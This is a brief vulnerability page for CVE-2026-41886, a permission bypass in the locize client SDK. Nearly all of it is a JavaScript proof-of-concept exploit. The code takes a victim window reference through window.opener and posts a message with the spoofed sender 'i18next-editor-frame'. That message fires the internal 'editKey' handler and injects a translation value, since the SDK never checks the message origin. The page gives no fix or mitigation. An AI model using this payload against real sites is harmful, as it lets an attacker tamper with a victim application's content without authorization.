CVE-2026-41886 locize客户端SDK权限绕过漏洞

// PoC for CVE-2026-41886 // The vulnerability allows triggering internal handlers by bypassing origin checks. // 1. Assume we have a reference to the victim's window (e.g., via window.opener or iframe contentWindow) let victimWindow = window.opener; if (victimWindow) { // 2. Craft the malicious payload // The vulnerable code checks: event.data.sender === "i18next-editor-frame" // It does NOT check: event.origin const maliciousPayload = { sender: "i18next-editor-frame", // Spoofed sender to bypass the weak check type: "editKey", // Targeting a specific internal handler data: { ns: "translations", key: "exploited_key", value: "malicious_value_injected" } }; // 3. Send the postMessage to the victim // Using '*' as targetOrigin is dangerous but demonstrates the lack of origin validation on receiver side victimWindow.postMessage(maliciousPayload, "*"); console.log("[+] Exploit payload sent to victim window."); } else { console.log("[-] Victim window reference not found."); }